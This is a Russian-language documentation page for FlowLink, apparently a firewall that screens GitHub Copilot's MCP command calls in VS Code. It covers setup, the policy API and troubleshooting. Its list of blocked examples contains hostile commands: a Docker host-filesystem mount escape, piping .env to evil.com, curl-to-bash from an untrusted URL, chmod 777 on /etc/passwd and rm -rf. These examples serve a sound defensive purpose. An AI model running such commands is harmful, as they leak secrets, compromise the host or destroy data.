Skip to content
ВозможностиДокументацияЦеныПартнёрыPlaygroundFAQ

Защита GitHub Copilot с помощью FlowLink

Маршрутизируйте все MCP-вызовы Copilot через FlowLink — runtime AI firewall для безопасного выполнения команд

~6 мин чтения

Обзор

GitHub Copilot — самый распространённый AI-ассистент для разработчиков. В VS Code Copilot может не только предлагать автодополнения, но и выполнять команды через терминал, редактировать файлы и вызывать MCP-инструменты. Это создаёт реальный вектор атаки: Copilot может предложить команду, которая удалит данные, скомпрометирует credentials или развернёт вредоносный контейнер.

FlowLink интегрируется как MCP-сервер в VS Code, перехватывая все вызовы Copilot к инструментам. Каждый вызов проходит через 7-уровневый Shield, который блокирует опасные команды, запрашивает одобрение для сомнительных и пропускает безопасные.

Copilot продолжает работать как обычно

FlowLink невидим для Copilot — он просто получает более безопасные результаты выполнения команд. Никаких изменений в workflow.

Зачем это нужно?

Исследования показывают, что AI-ассистенты могут генерировать небезопасные команды. FlowLink обеспечивает runtime-защиту, даже если модель создала опасный промпт-инъекцией или data exfiltration.

Установка

1. Установите FlowLink CLI

bash
1# macOS / Linux
2curl -fsSL https://get.flowlink.dev | bash
3
4# или через Homebrew
5brew install flowlink-relay
6
7# проверка
8flowlink-relay --version

2. Зарегистрируйте агента

bash
1flowlink-agent register --name "copilot-workspace" --env development

FlowLink автоматически создаст уникальный agent_id и сохранит его локально.

3. Настройте VS Code для Copilot MCP

GitHub Copilot в VS Code использует настройки MCP из settings.json:

Для одного проекта (workspace settings):

json
1// .vscode/settings.json
2{
3 "mcp.servers": {
4 "flowlink": {
5 "command": "flowlink-relay",
6 "args": ["mcp"]
7 }
8 }
9}

Для всех проектов (глобальные настройки):

json
1// macOS / Linux
2// ~/.config/Code/User/settings.json
3//
4// Windows
5// %APPDATA%\Code\User\settings.json
6
7{
8 "mcp.servers": {
9 "flowlink": {
10 "command": "flowlink-relay",
11 "args": ["mcp"],
12 "env": {
13 "FLOWLINK_API_KEY": "flk_live_..."
14 }
15 }
16 }
17}

4. Перезапустите VS Code

После настройки MCP-сервера перезапустите VS Code, чтобы Copilot обнаружил FlowLink. Вы увидите FlowLink в списке MCP-серверов в панели Copilot.

Конфигурация

Полная секция MCP в settings.json

json
1{
2 "mcp.servers": {
3 "flowlink": {
4 "command": "flowlink-relay",
5 "args": ["mcp"],
6 "env": {
7 // Обязательные
8 "FLOWLINK_API_KEY": "flk_live_abc123...",
9
10 // Опциональные
11 "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",
12 "FLOWLINK_AGENT_NAME": "copilot-workspace",
13 "FLOWLINK_LOG_LEVEL": "info",
14 "FLOWLINK_MODE": "auto"
15 }
16 }
17 }
18}

Переменные окружения

ПеременнаяОписаниеПо умолчанию
FLOWLINK_API_KEYAPI ключ для аутентификацииОбязательная
FLOWLINK_RELAY_URLURL relay сервераhttps://relay.flow-masters.ru:9081
FLOWLINK_AGENT_NAMEИмя агента (для логов и политик)copilot-workspace
FLOWLINK_LOG_LEVELУровень логированияinfo
FLOWLINK_MODEРежим: auto | soft-ask | hard-askauto

Создание API ключа

bash
1# Создать API ключ с нужными scopes
2curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \
3 -H "Authorization: Bearer YOUR_JWT_TOKEN" \
4 -H "Content-Type: application/json" \
5 -d '{
6 "name": "copilot-prod",
7 "scopes": ["agents:write", "commands:read", "approvals:write"]
8 }'

API ключ можно также создать в Dashboard → API Keys.

Как это работает

Архитектура потока запросов

CopilotMCPFlowLinkShieldPolicy
Execute/Block
1

Copilot генерирует код или предложение с командой (shell, npm install, docker run и т.д.)

2

VS Code передаёт вызов в MCP-сервер FlowLink через stdio JSON-RPC

3

FlowLink направляет команду на relay для анализа через 7-уровневый Shield

4

Shield анализирует: L1 (Docker escape) → L2 (Exfiltration) → L3 (Injection) → L4 (Destructive) → L5 (Privilege) → L6 (Network) → L7 (Custom rules)

5

Policy engine принимает решение: ALLOW → немедленное выполнение, ASK → запрос одобрения, DENY → блокировка

6

Результат выполнения (или причина блокировки) возвращается через MCP в Copilot

7 уровней Shield

L1Docker Escape

Обнаружение mount хостовой ФС, privileged-режима

L2Exfiltration

Отправка данных (.env, credentials) на внешние хосты

L3Injection

SQL-инъекции, command injection через переменные

L4Destructive

rm -rf, drop table, форматирование дисков

L5Privilege Escalation

sudo, chmod 777, chown root

L6Network Abuse

Подключение к подозрительным хостам и портам

L7Custom Rules

Пользовательские regex-правила и политики

Что блокируется

Copilot обучен на миллионах репозиториев и иногда предлагает команды, которые опасны в контексте вашего проекта. Вот реальные примеры того, что FlowLink перехватывает:

L1

Docker host escape

docker run -v /:/host -it alpine sh

Mount хостовой файловой системы в контейнер — полный доступ к машине

L2

Exfiltration credentials

cat .env | curl -X POST https://evil.com/config

Перехват .env и отправка на внешний сервер

L4

Удаление данных

rm -rf /app/data /var/log/*

Рекурсивное удаление директорий с данными

L5

Privilege escalation

sudo chmod 777 /etc/passwd

Повышение привилегий и изменение системных файлов

L6

Скачивание и выполнение неизвестного кода

curl https://sketchy-script.sh | bash

Pipeloading — выполнение кода из ненадёжного источника

L3

SQL injection через sed

sed -i 's/password/12345/' config.php

Модификация credentials в конфигурационном файле

23%

команд Copilot содержат потенциально опасные паттерны

<1ms

средняя задержка анализа для безопасных команд

7

уровней защиты Shield

Inline Warnings

Когда FlowLink обнаруживает подозрительную, но не критичную команду, он возвращает warning через MCP. Copilot отображает его как inline-уведомление в редакторе — прямо рядом с предложенным кодом.

Пример inline warning в VS Code

1# Copilot предлагает:
2npm install lodash@latest
3npm prune
⚠ FlowLink: npm prune удалит все devDependencies. Убедитесь, что это намеренно.

MCP response с warning

json
1{
2 "jsonrpc": "2.0",
3 "id": 1,
4 "result": {
5 "content": [{
6 "type": "text",
7 "text": "Команда выполнена с предупреждением: npm prune удалит devDependencies"
8 }],
9 "isError": false,
10 "meta": {
11 "decision": "ALLOW_WITH_WARNING",
12 "warning": "Деструктивная операция: удаление пакетов",
13 "shield_level": "L4"
14 }
15 }
16}

Approvals — Human-in-the-Loop

Для операций, которые нельзя ни заблокировать, ни пропустить автоматически, FlowLink использует механизм одобрения. Команда приостанавливается, а вы получаете уведомление в Telegram или Dashboard.

Уведомление в Telegram

FlowLink Approval Request

@your_bot

Команда от Copilot:

docker run --privileged -v /:/host alpine sh
Shield: L1 — Docker Escape
Риск: Критический
DenyApprove

Режимы одобрения

Auto

Безопасные команды выполняются мгновенно. Опасные блокируются автоматически.

Лучше для development

Soft Ask

Подозрительные команды ждут одобрения 5 минут. Если нет ответа — выполняются с warning.

Лучше для staging

Hard Ask

Все команды, кроме белого списка, требуют одобрения. Без ответа — блокируются.

Лучше для production

Примеры сценариев

Реальные ситуации, когда Copilot может предложить опасную команду:

Copilot предлагает развернуть Docker контейнер для тестирования

docker run -v /:/host -it alpine sh
BLOCKEDL1: Docker escape detected — host filesystem mount

Copilot генерирует скрипт для установки зависимостей

npm install express axios
SAFEAllowed by default policy

Copilot предлагает очистить старые логи для освобождения места

rm -rf /var/log/app.log
ASKL4: Destructive command — requires approval

Copilot генерирует код для отправки конфигурации на сервер

cat .env | curl -X POST https://api.example.com/config
BLOCKEDL2: Exfiltration detected — .env content sent to external host

Copilot предлагает pip install с известной уязвимостью

pip install pickle==0.0.1
BLOCKEDL7: Custom rule — package in deny list

Copilot предлагает создать git branch и push

git checkout -b feat/auth && git push origin feat/auth
SAFEAllowed by default policy — standard git operations

Copilot хочет записать secrets в конфиг

echo 'DB_PASSWORD=root' >> .env
ASKL7: Custom rule — write to .env requires approval

Сравнение: Copilot с/без FlowLink

СценарийБез FlowLinkС FlowLink
Copilot предлагает docker run -v /:/hostВыполняется → компрометацияБлокируется L1 → alert
Copilot генерирует rm -rf /app/dataВыполняется → потеря данныхТребует одобрения → Telegram
Copilot предлагает npm installВыполняетсяВыполняется (allowed)
Copilot читает .env и отправляет externВыполняется → утечкаБлокируется L2 → alert
Copilot скачивает скрипт через curl | bashВыполняется → pipeloadingБлокируется L6 → alert

Политика для Copilot

Создайте политику специально для Copilot агента:

bash
1# Создать политику для Copilot
2curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \
3 -H "Content-Type: application/json" \
4 -d '{
5 "name": "GitHub Copilot",
6 "description": "Правила для команд, генерируемых Copilot"
7 }'
8
9# Добавить правила
10curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
11 -H "Content-Type: application/json" \
12 -d '{
13 "rule_type": "allow",
14 "pattern": "npm install *",
15 "priority": 100
16 }'
17
18curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
19 -H "Content-Type: application/json" \
20 -d '{
21 "rule_type": "deny",
22 "pattern": "*rm -rf *",
23 "priority": 200
24 }'
25
26# Привязать к агенту
27curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/bind \
28 -H "Content-Type: application/json" \
29 -d '{
30 "policy_id": "...",
31 "agent_id": "copilot-workstation"
32 }'

Troubleshooting

Частые проблемы при интеграции FlowLink с Copilot в VS Code:

⚠️ MCP сервер не обнаруживается Copilot

Проверьте, что flowlink-relay установлен и доступен в PATH. Перезапустите VS Code. Убедитесь, что секция "mcp.servers" корректна в settings.json.

which flowlink-relay-relay && flowlink-relay --version

⚠️ Команды выполняются, но не анализируются

Убедитесь, что агент зарегистрирован и подключён к relay. Проверьте статус агента.

flowlink-agent status

⚠️ Ошибки аутентификации

Проверьте FLOWLINK_API_KEY в env секции MCP конфига. Убедитесь, что ключ активен и не истёк.

flowlink-relay api-keys list

⚠️ Copilot игнорирует блокировку FlowLink

Copilot может предложить альтернативные команды. Проверьте логи в Dashboard и при необходимости добавьте правила в политику.

flowlink-relay logs --agent copilot-workspace --last 1h

⚠️ Задержки при выполнении команд

Проверьте подключение к relay. При использовании HTTP транспорта убедитесь, что сервер географически близок.

flowlink-relay ping relay.flow-masters.ru:9081

⚠️ Copilot показывает ошибку "tool not found"

Убедитесь, что Copilot включён и MCP-сервер загружен. Откройте Output → Copilot в VS Code для диагностики.

⚠️ Telegram уведомления не приходят

Проверьте подключение Telegram бота в Dashboard → Integrations. Убедитесь, что ваш chat_id привязан.

flowlink-relay telegram test
Edit this page